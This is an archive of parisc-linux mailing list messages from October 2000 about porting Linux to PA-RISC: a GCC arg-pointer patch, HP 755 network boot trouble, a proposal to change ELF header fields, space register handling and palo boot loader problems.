Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01188
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 15:15:37 -0700
Original-Received: (qmail 17334 invoked by uid 15267); 30 Oct 2000 22:17:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17320 invoked from network); 30 Oct 2000 22:17:16 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 22:17:16 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA23691;
	Tue, 31 Oct 2000 09:16:43 +1100
In-Reply-To: <200010302015.PAA05033@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8268

On Mon, 30 Oct 2000, John David Anglin wrote:

> > 	* rtl.h (ARG_POINTER_INVARIANT): Define as 1 if undef.
> > 	* rtlanal.c (rtx_unstable_p): Qualify arg_pointer_rtx match with
> > 	ARG_POINTER_INVARIANT.
> > 	(rtx_varies_p): Likewise.
> > 	(rtx_addr_can_trap_p): Likewise.
> > 	* local-alloc.c (function_invariant_p): Likewise.
> > 	* loop.c (loop_invariant_p): Likewise.
> > 	* tm.texi (ARG_POINTER_INVARIANT): Describe.
> 
> I don't think this is the correct fix.  Isn't r29 used for 128 bit
> return values?

Yes, r29 is used for 128 bit return values, but how is that relevant to
use of r29 as the arg pointer?

I tried setting up ELIMINATE_REGS and so forth (see puffin CVS
gcc/config/pa/pa-linux64.h) but that failed badly with what looked like,
from a very cursory inspection, a use of r29 as a temporary reg being
"eliminated" to r30+const.  Oops.

Anyway, nothing in the above patch should make the situation worse.  All
it really does is let the compiler see places where arg_pointer changes,
instead of blindly assuming that arg_pointer will not change.  Take a peek
at the .lreg rtl for the test case I posted.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phillip Beal <pdbeal@bealz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot Problems with 755
Date: Mon, 30 Oct 2000 17:40:31 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20001030174030.A23768@Ci271622-a.lusvil1.ky.home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619232 5243 80.91.229.3 (22 Nov 2014 01:20:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@Ci271622-a.lusvil1.ky.home.com  Mon Oct 30 15:36:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01839
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 15:36:29 -0700
Original-Received: (qmail 12808 invoked by uid 15267); 30 Oct 2000 22:38:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12792 invoked from network); 30 Oct 2000 22:38:08 -0000
Original-Received: from ci271622-a.lusvil1.ky.home.com (root@24.7.120.84)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 22:38:08 -0000
Original-Received: (from pdbeal@localhost)
	by Ci271622-a.lusvil1.ky.home.com (8.9.3/8.9.3) id RAA23786
	for parisc-linux@thepuffingroup.com; Mon, 30 Oct 2000 17:40:31 -0500 (EST)
	(envelope-from pdbeal)
Content-Disposition: inline
User-Agent: Mutt/1.2.4i
Xref: news.gmane.org gmane.linux.ports.parisc:8269

Hey,

I've been reading and building the PARISC port for a couple of months
now, and I've hit a problem.  I have a 755 that I can work with that I
have been able to get to boot.  However, once the system boots the
latest kernel stuff, it fails on loading the nfsroot system.  The
machine never was able to successfully boot a kernel untill today, but
the system dies before it tries to load the nfsroot disk.  Here's my
problem:

The system boots fine from a SuSE 7.0 Professional System running
tftp, bootp, nfs, and rboot (rboot is what is actually booting from
since the system is too old to be able to bootp from, or at least that's
what Ive found from reading and from talking to some people.)  However,
the Kernel reports all the devices in the system (all 16), but returns
this error:

IP-Config: No network devices available

I know this was a problem on some people with a different system, but
the same fix doesn't work with the 755 since it has no PCI bus.  The
kernel returns this for the LAN adapter, but I don't know what to
compile to enable this device:

Coral II Core LAN (802.3) (10) at 0xf0826000, versions 0xa, 0x0, 0x72,
0x0, 0x0

What do I need to do to be able to use this LAN adapter, if its even
supported right now.  Alternatively, can the HP 755 machine boot through
the serial connection or something other than the LAN adapter?

Thanks,
--
Phillip Beal
S+LUG Vice-President - http://www.slug.louisville.edu/
 


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot Problems with 755
Date: Mon, 30 Oct 2000 23:07:28 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20001030230728.B9539@parcelfarce.linux.theplanet.co.uk>
References: <20001030174030.A23768@Ci271622-a.lusvil1.ky.home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619232 5247 80.91.229.3 (22 Nov 2014 01:20:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Phillip Beal <pdbeal@bealz.net>
Original-X-From: willy@www.linux.org.uk  Mon Oct 30 16:05:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02516
	for <parisc-linux@puffin.external.hp.com>; Mon, 30 Oct 2000 16:05:57 -0700
Original-Received: (qmail 17032 invoked by uid 15267); 30 Oct 2000 23:07:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17018 invoked from network); 30 Oct 2000 23:07:37 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Oct 2000 23:07:37 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13qO1Y-0002nS-00; Mon, 30 Oct 2000 23:07:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001030174030.A23768@Ci271622-a.lusvil1.ky.home.com>; from pdbeal@bealz.net on Mon, Oct 30, 2000 at 05:40:31PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8270

On Mon, Oct 30, 2000 at 05:40:31PM -0500, Phillip Beal wrote:
> IP-Config: No network devices available
> 
> I know this was a problem on some people with a different system, but
> the same fix doesn't work with the 755 since it has no PCI bus.  The
> kernel returns this for the LAN adapter, but I don't know what to
> compile to enable this device:
> 
> Coral II Core LAN (802.3) (10) at 0xf0826000, versions 0xa, 0x0, 0x72,
> 0x0, 0x0
> 
> What do I need to do to be able to use this LAN adapter, if its even
> supported right now.  Alternatively, can the HP 755 machine boot through
> the serial connection or something other than the LAN adapter?

This isn't tagged correctly in the hwdb.  Could someone inside linuxcare
please fix this?  It should be supported by the Apricot driver.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Elf Header change proposal
Date: Tue, 31 Oct 2000 03:32:20 -0700 (MST)
Lines: 256
Approved: news@gmane.org
Message-ID: <200010311032.DAA21612@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619232 5252 80.91.229.3 (22 Nov 2014 01:20:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Oct 31 03:30:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA15033
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 03:30:57 -0700
Original-Received: (qmail 22274 invoked by uid 15267); 31 Oct 2000 10:32:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22245 invoked from network); 31 Oct 2000 10:32:35 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 10:32:35 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id AC9F6968
	for <parisc-linux@thepuffingroup.com>; Tue, 31 Oct 2000 05:32:20 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id DAA21612 for parisc-linux@thepuffingroup.com; Tue, 31 Oct 2000 03:32:20 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8271

In looking at how to support 32 bit parisc linux binaries on the 64 bit
kernel, I realized that we need to eventually have a way to differentiate
between three different elf executable types: 32 bit parisc linux, 64 bit
parisc linux and 64 bit parisc HP-UX.  Right now we are only concerned
with 32 bit parisc linux, but we eventually plan to support the other
types, and I think it makes sense to put the infrastructure in place now
for two reasons:

    1) It can affect object code compatibility, so lets make the changes
    now while the pain level is low.

    2) It makes it easier to do the right thing in terms of coding now,
    even if the primary goal is 32 bit parisc linux binaries on 64 bit
    parisc linux kernel, we can code with the other possibilities in mind.

This article is kind of long.  It explains in detail the changes I would
like to see made, and why.  Here is the short version.  If you don't
disagree, you don't have to read the rest (unless it really interests
you).

    1) The ONLY change I would like to see made for 32 bit parisc linux
    binaries is to set the e_ident[EI_OSABI] field to 3 (currently set to
    0).  This is the value defined in the IA64 ABI for Linux, and I think
    we should leverage it.  HP-UX puts a 1 in this field (ELFOSABI_HPUX).

    2) 64 bit parisc binaries (currently just vmlinux) are currently using
    the Elf32_hdr type.  They should be changed to use the Elf64_hdr type.

    3) As in #1 above, the e_ident[EI_OSABI] field should be set to 3 for
    64 bit parisc linux binaries.

    4) The e_flags field should be changed to 0x80214 (EF_PARISC_WIDE|
    EFA_PARISC_2_0) for 64 bit parisc linux binaries.  Currently it is set
    to 0x20b which indicates a parisc 1.0 binary (which is really strange,
    since the 32 bit binaries have 0x210 which correctly identifies a
    parisc 1.1 binary).

John Marvin
jsm@fc.hp.com

The detailed explanation and rationale follows:

I looked at how some other architectures differentiated binaries, and some
of them are using different machine types.  But after talking to Cary
Coutant, and looking at how IA64 binaries are differentiated between Linux
and HP-UX, I believe the right answer is to use the same machine type
(EM_PARISC = 15), and differentiate based on other architected fields in
the elf headers.  This means that some fields need to change in our
currrent parisc linux elf headers.  The following paragraphs discuss each
change.

The ELF standard supports two different header types:  Elf32_hdr and
Elf64_hdr.  The Elf64_hdr expands some of the fields that are in the
Elf32_hdr to 64 bits wide.  The first few fields are common, and the
e_ident[EI_CLASS] field can be used to determine which header is being
used.  Note, the header type does not have to correlate to the type of
binary contained (i.e. 32/64 bit).  If a 64 bit binary doesn't have any
file offsets or virtual offsets that overflow a 32 bit field, the
executable could use the Elf32_hdr.  For IA64 relocatable files, this is
allowed by the ABI.  However, for an executable file, the IA64 ABI
requires that the header type correspond, i.e.  Elf32_hdr is used for 32
bit binaries, and Elf64_hdr is used for 64 bit binaries.  HP-UX also
enforces this for parisc (there is no 32 bit elf for HP-UX, but 64 bit
binaries must use the Elf64_hdr type).  This makes sense.

In order to support multiple types on Linux, the other architectures
(mips/ia64/sparc) have a .c file that defines a set of macros, constants,
etc. for a certain elf format, and then it includes binfmt_elf.c.  Note
that the code in binfmt_elf.c doesn't check the class field, so you must
define which header type you want statically.  This means that for a
certain elf type, using the above method (and unless we have a real good
reason to do something different, I would prefer to do what the other
ports do) you cannot support for Elf32_hdr's and Elf64_hdr's.  When I talk
about a "certain elf type" I am referring to 32 bit parisc linux vs. 64
bit parisc linux vs. 64 bit parisc HP-UX.  So we can support Elf32_hdr's
for 32 bit parisc linux, and Elf64_hdr's for 64 bit parisc linux.  We
cannot support both Elf32_hdr's and Elf64_hdr's for one type, e.g. 64 bit
parisc linux.  So if we ever want to support a 64 bit parisc executable
that requires at least one 64 bit field we should make that header type
mandatory now.  And since we want to use the same tools to compile the
kernel as we use to create user programs, that means that the tools should
change now to use Elf64_hdr's for vmlinux (so that if things like palo,
etc. need to change we can fix them now, rather than break things in the
future when the transition will be more difficult).

Although we could probably figure out the difference between an HP-UX 64
bit elf binary and a parisc linux 64 bit elf binary via various other
fields (like text start, etc.) that would be fragile and ugly.  I would
prefer to have a clearly defined field, and the ELF standard provides such
a field, so let's use it.  That field is the e_ident[EI_OSABI] field.  So,
what should we put in it?  This field is machine dependent, so we could
decide just about anything.  However, IA64 Linux and HP-UX binaries have
already set a precedent, and barring a good reason to do otherwise, I
think we should follow it.  The Intel IA64 ABI defines a whole variety of
values for that field.  The three that concern us are:

	#define ELFOSABI_HPUX           1
	#define ELFOSABI_LINUX          3
	#define ELFOSABI_OPENBSD       12

Note that HP-UX is also using ELFOSABI_HPUX already for elf 64 bit HP-UX
parisc binaries.  So I propose we put a 3 in this field for both 32 bit
and 64 bit elf binaries.  For 32 bit it is not necessarily important,
since HP-UX doesn't support elf for 32 bit parisc binaries.  However, it
couldn't hurt to set it the same, and I did think of one possible reason
to do it.  I am not familiar with the OpenBSD port to parisc, but perhaps
they are using elf for 32 bit (my guess is that they are probably using
SOM, but I really have no idea).  If they are, perhaps some day they may
want to run parisc linux binaries, or perhaps we may want to run parisc
OpenBSD binaries, and we could use this field to differentiate them.  Of
course, this would mean that OpenBSD would need to put a different value
in this field.  If anyone from the parisc OpenBSD port is reading this,
and this makes any sense, you may want to consider putting a 12 in this
field (same as OpenBSD for IA64).

The e_flags field is machine dependent.  Currently we are already partly
following the precedent set by HP-UX by using this field to indicate the
parisc architecture level (1.0,1.1 or 2.0).  Right now we are setting this
field to 0x210 for 32 bit binaries, which indicates a 1.1 binary, which
seems correct to me.  However, for 64 bit binaries we are currently
setting this field to 0x20b, which indicates a 1.0 binary.  This is
clearly wrong, since the code within contains many parisc 2.0 specific
instructions.  The value of 0x214 should be used to indicate a parisc 2.0
binary.  Also, since the Elf header type (Elf32_hdr or Elf64_hdr) doesn't
have to correspond to whether or not the binary is a 64 bit or 32 bit
binary, HP-UX was a bit (EF_PARISC_WIDE = 0x80000) to indicate whether or
not the binary is a 64 bit binary.  We should set this bit also to be
consistant.  However, since I am also proposing that we do require the
header type to correspond, I plan to differentiate the width based on the
header type (otherwise you have to decode the EI_CLASS field before you
can find the e_flags field, which is a pain).  Note again that HP-UX also
requires 64 bit binaries to use Elf64_hdr.

Below is a table containing the current values for various executables (I
got all of the values by dumping the headers of each executable, with the
exception of IA64 Linux, which I got the values from the Intel IA64 ABI,
and which Cary Coutant confirmed are what IA64 Linux is using).

Below the table are the proposed new values for 32 and 64 bit parisc
Linux executables. below that are more details regarding each field,
including defines extracted from Linux's /usr/include/elf.h, the
Intel IA64 ABI and HP-UX's /usr/include/elf_parisc.h.

			ELF Header Fields

			      (Decimal)                              (Hex)
Current             ELF   Data    ELF   ABI    ABI    ELF     ELF     ELF
Description        Class Format Version type Version  Type  Machine  Flags
---------------------------------------------------------------------------
32 bit parisc linux  1     2      1     0      0      2      15    00000210
64 bit parisc linux  1     2      1     0      0      2      15    0000020b
64 bit parisc HP-UX  2     2      1     1      0      2      15    00080214
64 bit IA64   HP-UX  2     1      1     1      1      2      50    00000018
64 bit IA64   linux  2     1      1     3      ?      2      50           ?

Proposed:

32 bit parisc linux  1     2      1     3      0      2      15    00000210
64 bit parisc linux  2     2      1     3      0      2      15    00080214

Notes:
    ELF Class: value in e_ident[EI_CLASS] field of Elf{32,64}_hdr

	This field tells you whether or not the header is a Elf32_hdr or
	Elf64_hdr.

	#define EI_CLASS        4               /* File class byte index */
	#define ELFCLASSNONE    0               /* Invalid class */
	#define ELFCLASS32      1               /* 32-bit objects */
	#define ELFCLASS64      2               /* 64-bit objects */
	#define ELFCLASSNUM     3

    Data Format: value in e_ident[EI_DATA] field of Elf{32,64}_hdr

	This field tells you whether the data in the headers is little
	endian or big endian.

	#define EI_DATA         5               /* Data encoding byte index */
	#define ELFDATANONE     0               /* Invalid data encoding */
	#define ELFDATA2LSB     1               /* 2's complement, little endian */
	#define ELFDATA2MSB     2               /* 2's complement, big endian */
	#define ELFDATANUM      3

    Elf Version: value in e_ident[EI_VERSION] field of Elf{32,64}_hdr

	Elf version #. Right now, everyone puts a 1 in here.

	#define EI_VERSION      6               /* File version byte index */

    ABI Type: value in e_ident[EI_OSABI] field of Elf{32,64}_hdr

	This field in machine type dependent. However, some types are
	standard across machines. The following defines come from the
	Gnu/Linux elf.h. The Intel IA-64 ABI also defines ELFOSABI_LINUX
	which is defined to be 3 (The Intel IA-64 ABI also defines a
	bunch of others, which don't concern us, with the possible
	exception of ELFOSABI_OPENBSD which is defined to be 12). I think
	we should use ELFOSABI_LINUX (3) for parisc also.

	#define EI_OSABI        7               /* OS ABI identification */
	#define ELFOSABI_SYSV           0       /* UNIX System V ABI */
	#define ELFOSABI_HPUX           1       /* HP-UX */
	#define ELFOSABI_ARM            97      /* ARM */
	#define ELFOSABI_STANDALONE     255     /* Standalone (embedded) application */

    ABI Version: value in e_ident[EI_ABIVERSION] field of Elf{32,64}_hdr

	Version number for the ABI (see above). Might as well stick with
	0 for now.

	#define EI_ABIVERSION   8               /* ABI version */

    Elf Type: value in e_type field of Elf{32,64}_hdr

	/* Legal values for e_type (object file type).  */

	#define ET_NONE         0               /* No file type */
	#define ET_REL          1               /* Relocatable file */
	#define ET_EXEC         2               /* Executable file */
	#define ET_DYN          3               /* Shared object file */
	#define ET_CORE         4               /* Core file */
	#define ET_NUM          5               /* Number of defined types */
	#define ET_LOPROC       0xff00          /* Processor-specific */
	#define ET_HIPROC       0xffff          /* Processor-specific */


    Elf Machine: value in e_machine field of Elf{32,64}_hdr

	Denotes the processor/machine type. Sparc seems to do the wrong
	thing here by having lots of them. I think we should stick to
	one value, and differentiate using the other fields, as is done
	for IA64.

	Excerpted from elf.h:

	#define EM_PARISC       15              /* HPPA */
	#define EM_IA_64        50              /* Intel Merced */

    Elf Flags: value in e_flags field of Elf{32,64}_hdr

	These flags are processor specific. Here are the ones that HP
	has defined for parisc (for HP-UX, but we might as well share
	them). Right now, the only ones that should apply for Linux
	are EL_PARISC_WIDE, EFA_PARISC_1_1 and EFA_PARISC_2_0.

	#define EF_PARISC_TRAPNIL       0x00010000 /* Trap nil pointer dereferences */
	#define EF_PARISC_EXT           0x00020000 /* Program uses arch. extensions */
	#define EF_PARISC_LSB           0x00040000 /* little-endian                 */
	#define EF_PARISC_WIDE          0x00080000 /* 64-bits                       */
	#define EF_PARISC_NO_KABP       0x00100000 /* kernel assisted branch pred.  */
	#define EF_PARISC_LAZYSWAP      0x00400000 /* lazy swap for dyn prog segs   */
	#define EF_PARISC_ARCH          0x0000FFFF /* Architecture version mask */
	#define EFA_PARISC_1_0          0x020b /* PA-RISC 1.0 */
	#define EFA_PARISC_1_1          0x0210 /* PA-RISC 1.1 */
	#define EFA_PARISC_2_0          0x0214 /* PA-RISC 2.0 */


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] space registers
Date: Tue, 31 Oct 2000 13:36:51 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20001031133651.C24691@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619233 5258 80.91.229.3 (22 Nov 2014 01:20:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Tue Oct 31 06:35:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA18278
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 06:35:12 -0700
Original-Received: (qmail 13983 invoked by uid 15267); 31 Oct 2000 13:36:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13966 invoked from network); 31 Oct 2000 13:36:52 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 13:36:52 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13qbat-0006sG-00
	for parisc-linux@thepuffingroup.com; Tue, 31 Oct 2000 13:36:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8272


a small optimisation just occurred to me.

right now, when we switch to kernel space, we set all of sr4-sr7 to 0
(for the kernel mapping).  we don't need to do that since the kernel is
entirely in sr7's domain.  this has the added bonus that badly written
drivers which blindly dereference userspace pointers will work on
parisc as well as x86.  we can also lazily restore sr4-6 on exit from
kernel space if we're switching back to the same task which called us.
this optimisation may not be worthwhile, but i think setting sr4-6
on entry to the kernel is unnecessary.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Elf Header change proposal
Date: Tue, 31 Oct 2000 09:51:31 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <E13qedH-0007k6-00@noam.fc.hp.com>
References: <200010311032.DAA21612@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619233 5261 80.91.229.3 (22 Nov 2014 01:20:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: bame@noam.fc.hp.com  Tue Oct 31 09:49:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA19731
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 09:49:53 -0700
Original-Received: (qmail 3927 invoked by uid 15267); 31 Oct 2000 16:51:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3901 invoked from network); 31 Oct 2000 16:51:33 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 16:51:33 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id DE795774
	for <parisc-linux@thepuffingroup.com>; Tue, 31 Oct 2000 11:51:32 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA13295;
	Tue, 31 Oct 2000 09:51:31 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13qedH-0007k6-00; Tue, 31 Oct 2000 09:51:31 -0700
In-Reply-To: Your message of "Tue, 31 Oct 2000 03:32:20 MST."
             <200010311032.DAA21612@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8273

= 
=     2) 64 bit parisc binaries (currently just vmlinux) are currently using
=     the Elf32_hdr type.  They should be changed to use the Elf64_hdr type.

This I don't understand.  Palo (and palo's boot loader, and hpux's
boot loader) successfully use
eh.e_ident[EI_CLASS] == ELFCLASS32 and eh.e_ident[EI_CLASS] == ELFCLASS64
along with (__be16_to_cpu(eh.e_machine) == EM_PARISC)
to distinguish 32/64-bit parisc executables.  In the 64-bit case, palo
happily uses struct elf64_phdr to grok the 64-bit vmlinux header.
palo/lib/elf*.c has the details if they're of interest.

Palo has some potential problems: it doesn't check ABI, assumes
big endian byte order, and assumes that 64-bit ELF headers imply
a wide kernel (calling PDC and setting the W bit appropriately).

	-P


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unable to run palo on nfs root
Date: Tue, 31 Oct 2000 09:54:24 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <E13qeg4-0007kf-00@noam.fc.hp.com>
References: <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619233 5264 80.91.229.3 (22 Nov 2014 01:20:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: bame@noam.fc.hp.com  Tue Oct 31 10:17:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA20436
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 10:17:22 -0700
Original-Received: (qmail 12457 invoked by uid 15267); 31 Oct 2000 17:19:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12450 invoked from network); 31 Oct 2000 17:19:02 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 17:19:02 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id A578444; Tue, 31 Oct 2000 11:54:25 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA13604;
	Tue, 31 Oct 2000 09:54:25 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13qeg4-0007kf-00; Tue, 31 Oct 2000 09:54:24 -0700
In-Reply-To: Your message of "Mon, 30 Oct 2000 13:51:00 PST."
             <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8274

= Hi,
= 
= I have booted HP A class server from nfsroot. but when I try to run palo on 
= the server to initialize boot loader to the hdd I get
= "cannot execute the binary file"
= 
= can any one help me to make the hdd bootable

It would help me to see the actual command you used and the actual
error message(s) printed.  With the info you give so far it could be
"a million" things.

	-P


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unable to run palo on nfs root
Date: Tue, 31 Oct 2000 12:58:41 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com>
References: <Your message of "Mon, 30 Oct 2000 13:51:00 PST." <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
 <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com> <E13qeg4-0007kf-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619234 5279 80.91.229.3 (22 Nov 2014 01:20:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
